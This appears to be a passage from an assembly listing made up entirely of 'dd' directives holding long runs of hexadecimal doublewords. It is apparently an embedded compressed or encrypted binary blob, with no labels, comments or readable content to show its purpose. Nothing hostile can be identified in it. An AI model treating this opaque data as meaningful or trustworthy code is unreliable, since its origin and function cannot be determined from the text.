0EC9CF00Fh, 0AE6700D2h, 89BB14CCh dd 0D49ACA53h, 0F2A0C57Ch, 0B903411Dh, 0D40CC1C8h, 4CD07810h dd 3F0C8425h, 68107DD5h, 89A10E00h, 757094C0h, 4C9E14D3h dd 9440343Fh, 0E5C1C07Dh, 0FB0E7496h, 282A49F2h, 0F880A00Fh dd 7318432Fh, 8E11153Fh, 0DF171718h, 16C046CBh, 0AE02A1FBh dd 0EB22DAD3h, 78C84001h, 84FD54A1h, 940A073Dh, 41037571h dd 302C48E4h, 77053B80h, 0A33070BFh, 0BE4E9492h, 7D6D4040h dd 408EBDF2h, 391641F3h, 2C40DA1Eh, 0F1FEE7C3h, 3C642601h dd 62ACA034h, 0A6EE21DFh, 0F310548Ch, 90208269h, 48CAE2C8h dd 0E51844F9h, 7D444026h, 71034F7Ah, 12837B49h, 0FBB004E2h dd 0C8CB1931h, 0ED503810h, 0FA42350Ch, 84EC6910h, 7099585h dd 0F1813C48h, 8F1CDF7Fh, 20033C58h, 8B4EFEE2h, 548185FFh dd 9C2CA08Ch, 82397A8Dh, 3C7497A0h, 94C5961h, 550058D5h dd 50EBF909h, 4915C900h, 0F85BE4D8h, 0CDC412E9h, 0AF30D2CCh dd 0E3E55CE0h, 0CE4ADA00h, 68BF9033h, 0D24E0029h, 0E7D38269h dd 0A4041B5Bh, 0C2D09F65h, 12ABCB0h, 0EB1A9EAAh, 71C3B670h dd 0FFA8FCE8h, 3B4C6700h, 0B41D1EB0h, 6BA20F4Bh, 666003A1h dd 0CD47C1BDh, 483E9A00h, 194F68C2h, 763B2667h, 0FE7428DCh dd 0F80B509Eh, 6DA31C43h, 7569C0E2h, 0BAC216E1h, 8E2E7604h dd 80EEB381h, 104DBE64h, 99C1A21Fh, 0DF2D0940h, 2C3FE8h dd 7176B39h, 0F6575548h, 0D60ABD0Ch, 1DAB2076h, 1D6B3E97h dd 0E1550E78h, 0C18CC480h, 4E0275FFh, 691708A8h, 3C0F7Eh dd 0ECBAF1B8h, 0E46F8A2Fh, 9541B809h, 4EB80118h, 0DC088F60h dd 0AF1F43Ah, 6323BD18h, 7EC6A888h, 0A080C04Ch, 92B31F55h dd 0DE6080E9h, 0E9236C7Ch, 178D724Ch, 0C8FA6B1h, 53200EA7h dd 0B36CA307h, 809FBFB4h, 66F6F110h, 7BBB1887h, 0D6746061h dd 501C6A00h, 2AA1FE8Dh, 0D20400A5h, 680E3D16h, 28EE42A3h dd 85F42C01h, 6C44F1B2h, 177F93C0h, 0F34D6C8h, 12408AF9h dd 0C74C995Dh, 85B1BA00h, 8B2BCFDh, 0A0EE30h, 82F69C46h dd 95D7DD5Eh, 741AAB03h, 986CF92Ch, 100E0Bh, 41222A6Bh dd 0FDC644D8h, 0B23D5300h, 79AAAC47h, 0A7001C1h, 6E69B118h dd 0A5033092h, 770FCA72h, 0E093A399h, 5D2A7FD3h, 0C3E30014h dd 0D2D8F09Dh, 88768685h, 99000578h, 4478A9C4h, 22841FEh dd 306DE49Fh, 0DC40E5ABh, 8B008702h, 0C545DC48h, 6C4FF44h dd 19AA3D9Dh, 0B6601892h, 4EBCE59h, 0E73A097Bh, 0C38C1A26h dd 0E002720h, 0C160EDBCh, 3F1C7B4h, 2F62389Eh, 580E4C6Eh dd 0A1DA1757h, 0C558E315h, 7F0351BEh, 0D76304Bh, 82CE9AC9h dd 0E0981918h, 0B6C6608Ch, 0A9E477h, 0EB3454ABh, 532BEF1Bh dd 0B7A71A14h, 70BC30A6h, 0AB08E6h, 46E43E77h, 0D109E90Bh dd 0B054730Fh, 0C1928C89h, 9D4C0004h, 9A499B74h, 0B1604B71h dd 519C09D9h, 108B6FD9h, 9B3810E0h, 5A3E1240h, 0BC037BCFh dd 639C371Dh, 0AF401D25h, 0DFE2C06Eh, 3BED5C24h, 4F983D00h dd 4B4A4623h, 55B20A54h, 1E832050h, 8A3F8590h, 2046BECh dd 4C7FBD14h, 55033418h, 305C3E0Eh, 0B035A001h, 0C49A1010h dd 8AC00B1h, 4A961295h, 0FE1D1966h, 87B339B2h, 7DF6DC08h dd 81198586h, 89F0DB20h, 0BC860008h, 0BF18CB97h, 0D0D04DCFh dd 33506504h, 4CC0180Ah, 0A669F49Bh, 18A0D978h, 161C53FFh dd 0E610C161h, 5059EB75h, 80181016h, 683B7E60h, 6C0C1079h dd 4B0A0669h, 9C92951Ah, 0C9D2F48Ch, 9109CADDh, 32FE601Ch dd 133A7576h, 280C523Dh, 67283439h, 98654C0Ah, 4037F520h dd 9D58508Ah, 3F28008Ah, 6D9478C0h, 0E21124A2h, 4C188BEAh dd 0FC030823h, 2EF83750h, 0F4FC3652h, 0FDAC042Fh, 4DC9061Fh dd 0B437E40Ah, 0EE7E0140h, 2430011Eh, 0EA839FB3h, 17E2CBFEh dd 1FC9310h, 115248FBh, 0B2C3EEh, 66C1345Bh, 58F93831h dd 0E20BD72h, 97B11819h, 64CD49F6h, 546B603h, 8088697Dh dd 60CB7484h, 0D3261D8h, 0F24B899h, 38009803h, 0E22357Ah dd 1AEA06F8h, 68333AC4h, 0BEB66E18h, 838149h, 0CCCEB788h dd 2477F48Fh, 483A037Fh, 74E80205h, 633B9CD2h, 53A00CEDh dd 39A9FE34h, 0B225F118h, 5C0FFA08h, 0BC3FB455h, 1C98362Ah dd 32BE48CCh, 0B4E1B950h, 44D8E32Ah, 660077C7h, 6B4A6CEEh dd 70D60287h, 37580008h dd 0B6EC90CDh, 5703DF11h, 8D9A29DEh, 0BDD9012Ah, 0C660CDB4h dd 0C8C40E9h, 0E9C14172h, 0BA29FE74h, 78DF80D0h, 8813607Bh dd 163D033Ah, 3253860Fh, 0B0141Ch, 89550280h, 0C01AB97Bh dd 0D848F828h, 11C0DE4Ch, 3FA50CCh, 0F5991D91h, 0A019407Ah dd 70FE2683h, 0C327BB06h, 31994CDFh, 0F6E0827Fh, 7AC0D383h dd 0F079A7Dh, 967E036Eh, 0F4563E00h, 0E4410111h, 0A2EE1E87h dd 2821BF0Eh, 3718B017h, 5EA13BB1h, 0B0BF5022h, 9DACA02Bh dd 0EC1F8123h, 0DF7865C6h, 8BD67700h, 0EECABBECh, 572C92CFh dd 1060A853h, 3824DC02h, 45128BF0h, 3823FAE7h, 93C10237h dd 6A1C053Ah, 0EE7DB896h, 322D4486h, 0A34A20h, 23083934h dd 0E6FF97BFh, 751FE11Ch, 7E051B40h, 0CA3551Ch, 0D136CADEh dd 0CE006E79h, 37BBE650h, 0C029DFC5h, 414872D0h, 8B1C5510h dd 7B9E9B53h, 0ECA00F03h, 25C80042h, 0CAD420F5h, 0EB012AD1h dd 32166A0Ch, 50208A06h, 0FC77506Dh, 988B16B8h, 185000F2h dd 3DEE10F8h, 0D7F9C892h, 74B8E040h, 0FF307561h, 0CDC420A6h dd 291968C1h, 6FE404D8h, 0EF0AAA98h, 0C2538C89h, 7BE60016h dd 468223E1h, 91F6300Ch, 3B823D31h, 1218FE48h, 30711935h dd 0A9946098h, 0C2058873h, 874F019h, 0EE05234Ch, 6009B2BCh dd 0CEC82694h, 73CA0029h, 6763615h, 0E2004A55h, 0E6819837h dd 90B02CCDh, 0D9076710h, 3BE5A090h, 1828BBD7h, 21374820h dd 478828B3h, 557272E5h, 249848E8h, 9915157Bh, 39587FB6h dd 64D1BA07h, 3167DA90h, 2011FE78h, 1C01A6E4h, 9F90D34Ah dd 8083CFE5h, 11F70237h, 913A90A7h, 75123D8Eh, 8C071698h dd 803B0919h, 887FFD97h, 7A5B2699h, 8106B878h, 71ACA7C4h dd 0EC7EE914h, 915A21B0h, 0B1B936E8h, 25F61288h, 85802317h dd 0BB4A80A0h, 0E2F03B60h, 24BFB7h, 92988C61h, 0D5F6F4E6h dd 0F2C1CA15h, 0AD00FC0h, 0D4201710h, 5E6A398h, 40F814Dh dd 0B6B44785h, 43CC40D7h, 81C0B0FDh, 1239BA37h, 6E29F0B1h dd 0CB807924h, 0DE05C07Ah, 0C12F7B35h, 1CCC800h, 733D904Bh dd 94ECF1E5h, 34DE0FAFh, 549D43F5h, 1B2AC8F9h, 0A01D0098h dd 38DA5AEEh, 551382CAh, 0FC002737h, 263BB678h, 0FF4000EBh dd 23D12047h, 4538954Ah, 822B004Eh, 0E672F1AAh, 50B200E2h dd 7D143E35h, 0AD1F10D3h, 0A20056B6h, 710B8A54h, 0AB570073h dd 9833462Dh, 0E7907B7Dh, 9898B070h, 6687549h, 1D3905B9h dd 9FA200D0h, 54B7A324h, 0C0A81035h, 1E01C130h, 32AF1A6Fh dd 64C00D42h, 4C110058h, 0F9A379CBh, 490201DAh, 0E8BBDEAEh dd 7BE48240h, 0FDF49014h, 0B4372664h, 6C969F64h, 113D18D0h dd 8300DBECh, 574AF5A0h, 74D20AF6h, 412C6056h, 92838229h dd 61DF0939h, 93ABB3A0h, 0B0FA4AD0h, 0BF453994h, 1253EB07h dd 0CC89707Eh, 107B66Ch, 68EAF0DEh, 81079540h, 5BE7818h dd 5659966h, 0E0FC27FBh, 0E0B2D6FDh, 8688FF00h, 0EA513534h dd 25A42855h, 0FE3730D0h, 0AF36A91h, 0BD5E2C3Ah, 0F5950996h dd 6130726h, 4E4CA450h, 0EAB60093h, 0E2B83E6Dh, 0A178D349h dd 0FEEC9200h, 0F179773Ah, 0DA8A0448h, 901F7C8Fh, 93B24AE8h dd 62FCAD04h, 0EC88546Fh, 0D13007F1h, 20D2A942h, 0EBC3EF92h dd 0EE65F801h, 7587387Eh, 54359B24h, 127DC15h, 0DBE0C513h dd 0C04A7BBAh, 720990E1h, 8F5646Ch, 3100D490h, 0E9D6CA42h dd 0A94D01F8h, 3AAE76B8h, 0A1E4508Fh, 88035DE7h, 0AA4D413Bh dd 9DA824B1h, 32125Ch, 998E6428h, 6F0702F3h, 0ECB28123h dd 872B7D80h, 90B0A3FCh, 5386CD1Ch, 0A884204Ch, 0BD7C60EDh dd 0A81BE686h, 0CBB88Ch, 1E960436h, 0F64548DAh, 24F7A974h dd 0D300C7F8h, 1410E50Dh, 49FAB5Bh, 88776980h, 0DF24C82Ah dd 1C581900h, 0B6B8917Bh, 0E8017B80h, 8C21C0CBh, 6D495811h dd 9F09CC03h, 496EEC5h, 0C212FFF8h, 60588D32h, 0F512B2CCh dd 583256DAh, 88372045h, 28071283h, 0AB408B04h, 0A04D4263h dd 9F39F45h, 0A05DECE9h, 0C8CA2C22h, 0C5764C20h, 0F65112C1h dd 484C4082h, 98DD33FBh, 0CF789003h, 90439261h, 3A1D0B6Dh dd 170155D5h, 7485B0DEh, 0E27848D9h, 7B1B5808h, 0D5FEC459h dd 58AB82C8h, 784B3640h, 16114C00h, 387C348Fh, 3970BAEh dd 2410F14Eh, 0AF1CA7DDh, 0E883398Dh, 338AA01Eh, 0FD213608h dd 0FEDBAFF0h, 10311601h, 94C1117Dh, 0BD7AD050h, 4E8AC9Dh dd 96E30904h, 217C6706h, 0DCC1682h, 1D88AC41h, 62C48431h dd 5484CE7Dh, 79D550C3h, 0CC8C0F79h, 0E621DE74h, 0F2D27EBEh dd 9533482h, 9CE46464h, 3E00FCB2h, 7E6AD4F5h, 1C6E18Ch dd 1BB954F6h, 0D2CD12FDh, 0EC4C1852h, 0F58B0A3Ch, 59C4F4D2h dd 83890C40h, 2902A66Ch, 625F35A0h, 63F8E071h, 124904Fh dd 0BF324DFDh, 71E8E570h, 8AC0244h, 11AFB530h, 889D398Fh dd 0A3FF80D9h, 4E7DE0AFh, 0BC82C700h, 931D09C4h, 8F0F2462h dd 7AFF6000h, 53130E14h, 0B02E12F2h, 0C0004623h, 655C5F7Ah dd 4D0F03BFh, 7954E1C7h, 0C1A49D83h, 12F0E8h, 96D59193h dd 0A362419Ch, 0FDE420CAh, 40161F01h, 4D25E898h, 0F04C618Bh dd 306AF010h, 324E7503h, 0CA01B5B0h, 0EDD0A0FBh, 0AAC927h dd 0B7283DEAh, 24FD3BA7h, 748F9009h, 24F48AE9h, 1D809C11h dd 6E9DCE09h, 0CD10AD43h, 0E5D901B2h, 5D7B5236h, 514EFCh dd 2156BE1Dh, 91ACE8DAh, 6E0AA0A6h, 0A47014C8h, 16806501h dd 642411F9h, 23C3424Ah, 36DA008Fh, 0A9F696E1h, 0C2D88085h dd 37703C36h, 0DA7B9B02h, 938F9229h, 0F488A494h, 53E10091h dd 0A5C41CFAh, 4BB8E938h, 418FC7Ch, 18D13CCDh, 576E2905h dd 0B2CD7044h, 0BCC00086h, 2F50AA8Eh, 774C6BF2h, 8CF5B818h dd 4801357Eh, 0C735970h, 9980A5F6h, 0C3717D31h, 7D909ABAh dd 0E0E7E600h, 92F2215Eh, 7E8B015Ah, 420DC1C9h, 0F80FFC5Dh dd 718FB600h, 0C5172403h, 0D0190083h, 12C33C34h, 40000761h dd 6BBC9FBFh, 7F951C2h, 38325DDDh, 0E8855143h, 11FED8C8h dd 0C173B00h, 0E257092h, 943C00F8h, 0D7370643h, 0B5186EF5h dd 76A993FDh, 2B10069h, 99FBEBC8h, 7800B98Ah, 102D57ABh dd 5809BCF5h, 9880C86Bh, 49A95207h, 0E3022B00h, 10FEE990h dd 5321C51Ch, 6E80A4A0h, 1EB48C58h, 0F7EF40Fh, 60C5CB24h dd 7811EF8Ah, 0BD0B0AFh, 8675FCBDh, 0C2CE9038h, 320DB7F4h dd 504078C5h, 583FB6D0h, 9114C4A4h, 2301FD5Dh, 80C77AB3h dd 88D462DAh, 20BA14C9h, 18656EE1h, 10414D18h, 0D5DB5E00h dd 5D3D72C0h, 0A0121127h, 1EE3788Ch, 4AA403DEh, 880BE4Eh dd 0E1D80085h, 9D8FF584h, 6C02E726h, 9A801991h, 953974AFh dd 111DE121h, 0A26600A4h, 0FE697BAFh, 71030E88h, 0DC02D32h dd 0B0E7EB7Eh, 24B1523Eh, 0D8050453h, 248E6E23h, 30B2C4C4h dd 3F430A0h, 9D9BE402h, 7D983E01h, 0E6614557h, 0EB21DF69h dd 0F4229C55h, 36C930D0h, 0CE961A08h, 0E86869D6h, 907F185h dd 0B19613C6h, 0F8CBC470h, 0E3190D39h, 30680EB7h, 78CF4D0h dd 78C85805h, 48967BF1h, 585DC000h, 0F40CAF5h, 9E7A1638h dd 2801CE8h, 25E36587h, 0F2BFBCA2h, 16AFB418h, 628539B2h dd 1427A528h, 4468AF80h, 0A1250398h, 0B4CF9238h, 6FA35805h dd 78C05C22h, 601E480Eh, 3E1C18CAh, 5F007F2Ah, 0D46D9010h dd 38385533h, 8480496Fh, 0DFAC6E34h, 23009317h, 0C99F5CFEh dd 0A245CDh, 0F290DF6h dd 9BD4DB3Ah, 0EE9CC800h, 43480A1Bh, 0A7200056h, 4793F586h dd 0FB00F971h, 0BC2241Eh, 299ADFh, 52D24257h, 0EAAD7BCAh dd 6D1F9307h, 59503282h, 4E43BAh, 5A44ECB6h, 0D4716723h dd 0D710B765h, 7300042Eh, 4756D19Bh, 180FAE4Eh, 3CAB4C0Ch dd 884A49C0h, 1EB5D654h, 0C1737ABFh, 0AB45DE4Eh, 90E13118h dd 0AD827529h, 3A076543h, 0AF8C8878h, 8B360184h, 51D53106h dd 44E08610h, 30995011h, 0FA2429ADh, 1E297D10h, 0A4FF976Bh dd 2EE0084h, 241D6076h, 0FCC9E900h, 1121B0CFh, 0E8053B9Ch dd 236F007Dh, 37948326h, 1C001871h, 0D1815A6Eh, 0ECC9105Eh dd 0A07ADDh, 0E9E16B31h, 88DB42F9h, 6AE4B307h, 4E80D8A5h dd 8709D9h, 0D61FCA6Ch, 15691462h, 78B7230Fh, 0B892012h dd 0FCA89CFDh, 0DDE12637h, 0D8E500C9h, 59B4CCAEh, 452AD000h dd 0ACE2304Bh, 37123F4Dh, 0C705ADDCh, 87178973h, 0B3FF305Dh dd 0A901A363h, 108DD833h, 0E8ECA6DBh, 0C08BE46Ch, 3776E910h dd 6907771Eh, 8557CB50h, 0EE6B773h, 9C3235C1h, 8F80A6A9h dd 1CF2FA0h, 0CD72605h, 0F407BC24h, 3D50F7DEh, 74D5B80h dd 29C746B6h, 0C991303Fh, 7100E472h, 4A814309h, 32A23Ch dd 0A3496546h, 0DA0AD45Fh, 0A684D600h, 570BB1F2h, 81A500B8h dd 0F19EDEDCh, 6E005C5Dh, 0E902C487h, 78BFC89Ch, 96A60E4Eh dd 4E138A0h, 0F40F1CB2h, 0C00007A5h, 1E40F29Eh, 7623D495h dd 85620F90h, 48A017EFh, 0B6BB8CA3h, 2EC8C700h, 3AAF44F9h dd 0FEF5010Dh, 0AC0366DBh, 2FF0D4F3h, 4B252E00h, 0BC53957Eh dd 82BE0088h, 856ECA67h, 3748915Fh, 0BDB314CFh, 62251384h dd 5B00D3E8h, 0A8B6A81h, 0F01EF334h, 4340AC07h, 0B498AD79h dd 0DCF009Bh, 0C2DC0E9Dh, 80000641h, 0AB48FC50h, 73B2B13Dh dd 0D5B898h, 0DD708625h, 71755F9Eh, 0D67C06E0h, 483C6302h dd 0FFF0CE69h, 0DBC6E441h, 0BFBC9AE8h, 0DE8AC100h, 0EDEE1458h dd 946100D4h, 3987D115h, 630E3CCFh, 81973EF2h, 4F7396B6h dd 60C7B660h, 0FE7CB085h, 3C78AC51h, 0DE88D400h, 1D4089DCh dd 0FCB80097h, 3BB50A55h, 0DD0002C7h, 2639D0CEh, 0AAFD7Ch dd 0C35785F8h, 134F9EDFh, 2FAC1E00h, 0A616949Dh, 44A0A0B0h dd 5FCF1E85h, 884E0043h, 75A556B1h, 0EAA8000h, 28B27FF7h dd 8D7587h, 2F792E98h, 825D9B72h, 0F86E081Dh, 0AF5B8E40h dd 0F78416Ch, 7F6D76FBh, 4B4FB760h, 0D7009D88h, 0E9137596h dd 0A98F31h, 0FF872205h, 0DB8DA482h, 438E1B00h, 9A6E5755h dd 32331F95h, 7D5E8013h, 0B25A5BDAh, 2815A80Fh, 8135C9BAh dd 126DB3E4h, 3716C4h, 0B47BDFC2h, 10803E90h, 0D8711400h dd 292E404Dh, 33BE009Ch, 7E4E0903h, 5F00AC8Eh, 3D28C0AFh dd 6F124h, 0A7B10AD1h, 0A5772699h, 6731E501h, 0AA41ACDFh dd 72613020h, 4C8630BCh, 8F65E811h, 0B5642200h, 37C52627h dd 0F47A88h, 6003D0AEh, 0B2D5A4D8h, 0F3848600h, 32227D04h dd 1A6F1ECBh, 0CCE6806Ah, 58338ED0h, 0DD13DC00h, 0C79FFB01h dd 4FE10055h, 4B9EA1F5h, 0B6FE813Ah, 0DC7E9A00h, 37E72459h dd 0A2D28F9h, 530800F2h, 0B949C773h, 0D590A909h, 0C5634000h dd 0E8B0C333h, 697BF2h, 16361899h, 2B081288h, 0E434AE00h dd 7ADED7AAh, 31AF3369h, 5DD03E70h, 8939CF80h, 0D34F020Ah dd 40FAE2B4h, 0AE9164h, 0F959FD8Ch, 61100EDDh, 0BA4C18C0h dd 13EFE96h, 16352A98h, 0F4622E5Eh, 5F00466Fh, 274EA1EAh dd 67B81Ch, 4539DD37h, 4BCDF3BCh, 0A23FB500h, 0A7A573EEh dd 0E2B300B6h, 22D8CB43h, 0FC75C481h, 134738h, 0B1763161h dd 754BDE4Ah, 9520004Ch, 33750FD6h, 0EC03C2BAh, 7E0E42CEh dd 9019C808h, 283C6027h, 0AA59F53Ah, 32396D07h, 0EFB0F409h dd 3922E77h, 69178AA7h, 5D0C41Ch, 0D800F71Eh, 16ADC935h dd 0E203DDFh, 0DEC252E1h, 0BC9CE4A0h, 0E700038Dh, 494DA4BBh dd 0E468CF8h, 43A7E082h, 130EF220h, 17009681h, 85351C09h dd 0F0CD305Eh, 925D3858h, 933AFF03h, 7F8999Dh, 0DCE50876h dd 62F6F63Ch, 89F96100h, 133DECE5h, 73AE01DCh, 0B31B4F3h dd 5FFACC2Bh, 0D700E27Eh, 0AB1D7D93h, 3BF9A5h, 78E72DF2h dd 2E74D92Ch, 2ADC5B00h, 79395490h, 409D00A7h, 8BB682A2h dd 77E221AAh, 0CAE91F00h, 1CD296E5h, 57F70E64h, 0FBC00865h dd 2BB30B2Fh, 88119F00h, 9030E858h, 95DE001Eh, 547570B1h dd 0ED000E66h, 19A48384h, 0CCD3A7h, 8DBD51Dh, 0EC6760EFh dd 7B06E703h, 3D57CFEBh, 28800710h, 0EF26B604h, 0A41F4070h dd 58CBF811h, 0F12EF882h, 3CD16BF0h, 178179A6h, 8B7F8AEFh dd 0B9E0EC20h, 6E00BA70h, 0F347E12Bh, 0F40E8Ch, 915A9A33h dd 4237793h, 2170DE00h, 0B7B98E47h, 307DC9h, 0E8E7F7C3h dd 3236AACFh, 5419F660h, 7A279B7h, 0D635B841h, 0DE0C31D1h dd 94BF600Ah, 0DCB54703h, 4543E4Ah, 0F8F3FB30h, 713EC0D7h dd 3700A7E1h, 439CDCA3h, 0E95D333h, 806DEF89h, 41384740h dd 0D41F7D12h, 46C0C86Bh, 95E6BA1Eh, 33CA0022h, 3E1B6CCBh dd 11E87C41h, 0EC315A00h, 55BF1D63h, 157FCF1h, 10C6C203h dd 0F4412A0Ah, 933B33EFh, 30EBBA17h, 0E7B7113Eh, 8B370156h dd 0B15DE173h, 868E60A3h, 5FFE8D00h, 9E257F57h, 0ECC9007Dh dd 0F1A2F90Fh, 512C64AFh, 0E0002DD4h, 0F4A4CCD9h, 36DF00EBh dd 1C3CEDDBh, 70ED201Bh, 9000D793h, 5D87ACF3h, 76BE1264h dd 83983EE2h, 2F806080h, 4689AE8Bh, 4BA99600h, 5862DCA7h dd 917C006Dh, 2D3F9CBBh, 0BE003EE1h, 6F022A29h, 5D5B20h dd 5FD25E18h, 9D54F9FEh, 0ED9A4800h, 2C4B9909h, 808700E8h dd 0A3F62DE5h, 110054D6h, 0D1B861F3h, 217BA4h, 49B470Ah dd 0CAE140DFh, 8F1EFB39h, 236F5187h, 3D6933h, 0C92DB110h dd 0E36BE1A3h, 314CDCF0h, 2A407C8h, 9CB10C8Dh, 5880DE86h dd 0C6815225h, 0E300C075h, 31A6FA23h, 0D80207h, 3D75579h dd 0B4C8E61Fh, 800CC53Eh, 267269CDh, 9F80DAh, 0CA2EA6EFh dd 6A85BCDCh, 8998E400h, 6B1B0C1Eh, 96CC1754h, 0FE5F005Ch dd 0EFB76204h, 0FAE64400h, 0F653ABDCh, 0DD4B0021h, 0D7E811AAh dd 9800EB0Fh, 1A0A63F8h, 310D2A5h, 87017BE5h, 0B988F48Eh dd 1500D6D3h, 0BC6DFF52h, 0E060E828h, 0E1FC00C6h, 4C957DCh dd 0F003AF1Eh, 0BFA5F532h, 48D9A04Ah, 0C15C060Fh, 1195961Fh dd 6B593C00h, 0A13A5BA5h, 0C5CEE17h, 0FEABAFEBh, 13037320h dd 0BCE1BD2Ah, 11F0DF19h, 0A3FA8Bh, 69ED4EEh, 0C61036CDh dd 0D3485100h, 62499B90h, 3F0F0FB8h, 36036BB0h, 709FBD65h dd 42C9DE45h, 29D38C00h, 52D09411h, 0D8B93FA7h, 2DA3304h dd 0F270C04Bh, 9009D6Dh, 563B9B13h, 6319407h, 0F862BBCDh dd 692E7827h, 1F1E2950h, 80B82CC0h, 0A441ECh, 0F97078E3h dd 9EBD1D6Dh, 0F8B4E100h, 464ED482h, 0EA333C25h, 7875D058h dd 0E73603DBh, 0A20023Eh, 0A3686DD0h, 9A701500h, 0AA773775h dd 0CE16001Bh, 9DA50840h, 9E07CA52h, 7129587Fh, 9690DC17h dd 0C0CFC2FCh, 0C966E999h, 7900F816h, 361132F4h, 219335h dd 0F330D51Bh, 0AF080B66h, 0A800D4E6h, 0FB5B3C9Bh, 0A6B1E2h dd 0EA23A0D7h, 417A2C42h, 179C3E00h, 0B96F1283h, 496480Ah dd 813CD500h, 52469B67h, 0FBA51D00h, 360920BEh, 0A6F30005h dd 0EA38493Eh, 9CC04F7Ah, 0F272AA5Dh, 42000B5h, 685C924h dd 887D54B7h, 688CEA0Eh dd 6573C01Eh, 2FB6C53Eh, 0A2C09B41h, 0CB0064A5h, 0FA01ADDDh dd 0F958182h, 0BD41817h, 0B3D852Eh, 0D400305Dh, 1E38BA1Fh dd 88926928h, 5B8E220Ch, 911014h, 200AE3A5h, 0A41652C3h dd 0DC556100h, 1A2C83F3h, 0F067FC4Ah, 80120020h, 0FA66161Fh dd 3E012B8Eh, 0D05EC53Fh, 0DAE8E035h, 6D2F066Bh, 0E0B1B0E7h dd 0F9A13C14h, 4C6400C0h, 4F17EC97h, 0F1391F76h, 12B85EF5h dd 0CA310378h, 0D8C0E886h, 9A014244h, 546CC27Dh, 59E403A2h dd 6FFA9Bh, 97E57C2Ah, 139EE95Ah, 0ED00F8B0h, 4C702174h dd 9A961C8h, 5FA53495h, 3FBC1800h, 0A81EF7EEh, 931DD5F9h dd 99C37902h, 0E00AE320h, 0DC207h, 0D6C172CDh, 5674B6EDh dd 1B69D802h, 0E2CA5377h, 34A98094h, 0B89DDAh, 44C2586Fh dd 24E203DFh, 92E01363h, 94F7F86Eh, 0A7FD006Ah, 687E8D17h dd 4DB8FB53h, 407DD10Ah, 0FF26D1E2h, 6C8D803Dh, 0DA35742h dd 3E890079h, 5E909BB0h, 0CE72C11Ch, 0CDFA261Dh, 15002F96h dd 817282C6h, 0E079066Ch, 7817DF31h, 0B6953B01h, 46F79A1Bh dd 0F0EFD160h, 5098742Dh, 0E252DC66h, 564400F6h, 0C6E509AEh dd 0B892275Eh, 26A4BF06h, 0E11927Ch, 4B84C49Fh, 27B6BB80h dd 0E67196D1h, 550016E0h, 0A2D9497h, 1C2EFFh, 60626876h dd 748FAB3Dh, 0B2CAD700h, 9BDC59A0h, 6C6303D6h, 0CF1D20DDh dd 99F65580h, 0F4007FF6h, 187D719Ch, 0FBEA4B2h, 0CC7C255Bh dd 4720CA0h, 23181CC0h, 0BBD0DF35h, 24B71C31h, 0F4C1801Eh dd 54456786h, 981DCF00h, 13BB71AFh, 0E3FF1D27h, 519801Ch dd 88F38255h, 7221DB07h, 14708A1Eh, 490FA43Ah, 0E6007C46h dd 6FC63F26h, 0C1555AD7h, 1497D480h, 0A3D18E00h, 99B951D3h dd 85200004h, 3C86B569h, 460028EFh, 0AFDC44CAh, 3D11487Fh dd 9C80A05Ch, 0E8620EB4h, 0A8001BDFh, 0E9CDAA97h, 3B518D2Ah dd 78800C14h, 607D773Ch, 8F009C31h, 0A8216C5Ch, 0F2E953h dd 0DE9FB597h, 6D2E93D7h, 41F097h, 8941379h, 9521B91Fh dd 0CB208100h, 16D4CDB3h, 0DB4D1C48h, 49070930h, 20AFC401h dd 3FC840E4h, 5200C60Ch, 38883764h, 0A77BADh, 69280919h dd 0EC664D90h, 0A4D48700h, 1A3C5DF0h, 0BFB9003Bh, 72E5064Bh dd 3F0F502Ah, 40987390h, 0A167431Ch, 0E93E00FFh, 0A99EF2EAh dd 20C890Eh, 5054BEAAh, 0D6E21E39h, 4E7CD742h, 0FA4FC028h dd 155B3740h, 2EE664ACh, 0CAC62000h, 8647C56Eh, 903C00C3h dd 0C245F850h, 0CD008AA1h, 0C030353Dh, 0F2899Fh, 788DE6D0h dd 0A4DDE32Fh, 0D7381900h, 0FD224EA8h, 0F9AD60FAh, 0C2830D1Dh dd 269EE00h, 0E6BD57A0h, 0B2DA00E2h, 0A201BA9Dh, 30EBD46Eh dd 3E03FA1h, 44E45E00h, 4B6BE9C6h, 79A9001Bh, 94AD06F2h dd 9CEED4ABh, 6010D900h, 819F6BE0h, 1955000Eh, 20B3EC7Eh dd 2C001201h, 0FB8E31B9h, 0FC93822Bh, 0EBF2F1h, 92364F8Ch dd 53328742h, 5708C000h, 2F128D49h, 2A0100B8h, 210B5AC5h dd 0AC00C6A3h, 0BA7B50E0h, 0E24AF84Dh, 5786001Eh, 253FD0CCh dd 1A00BBA7h, 0A50F19C2h, 60DD98Ah, 5ECF3DBDh, 8400E0B0h dd 407EB6FCh, 0EE2A5Bh, 1E3AB292h, 0E7C63833h, 2D66FE1Eh dd 0A280765Eh, 0D0C2F34Eh, 0B1A80060h, 2632089Eh, 0BB00309Ch dd 10DA1F65h, 0C7FBCDh, 804FFF94h, 5611D5F3h, 26BB405h dd 0A1008640h, 4954CD39h, 9E05006Fh, 137D092Ah, 24000FF2h dd 0DF141B8h, 117B775h, 10BDC38Eh, 0F4BCFB64h, 0D81D6E50h dd 0F30E4CFEh, 860D07E5h, 62CAD170h, 24540090h, 3233A5DFh dd 84384D60h, 0BC40004Eh, 0E3E1BC0h, 0ECA00059h, 76A4F9A2h dd 2C023664h, 806B8656h, 0B40C409Bh, 9A6300DCh, 2881A5B3h dd 0E2021583h, 6550EE67h, 4BA88757h, 0BC18F5C0h, 0A5E006ADh dd 7062FE8Dh, 440AF7F4h, 886760CAh, 7EC52700h, 57098E4h dd 38E19602h, 0F0228075h, 0B10055C9h, 6805182Ah, 112502Eh dd 1995A442h, 0E8FA3320h, 8A0010F8h, 1FD3EE23h, 0E89D733Bh dd 7507EF5h, 670D529Ch, 3C2980D2h, 9A00B00Ch, 0B492A61Dh dd 98B8EDBFh, 79B909C3h, 4C00E346h, 0D6DEEB7Dh, 0C6F2F800h dd 16A19394h, 5D7900BFh, 0B483605Ah, 0EE0059D2h, 9AD47412h dd 833B7h, 46F36529h, 0B59D170Fh, 0D1988B00h, 0F8DD494Eh dd 3BF50B5Dh, 7A87A60Ch, 488240FAh, 74007CF1h, 5E0D0A7Fh dd 0FA07E36Dh, 917E0044h, 0FC54E81Bh, 70075B8Dh, 9866EA85h dd 0F7A53320h, 2F2100D1h, 0CD052653h, 0E8ECBC19h, 0C8DA8E07h dd 6E3037C0h, 780F64h, 87C92BDEh, 736D06B1h, 19B2A207h dd 4BD03CE6h, 0AC9415h, 67FE278h, 0FB952234h, 2A8A4700h dd 0CE7E630Dh, 548B0FBFh, 0B4203651h, 5E99E59Bh, 3C53420Fh dd 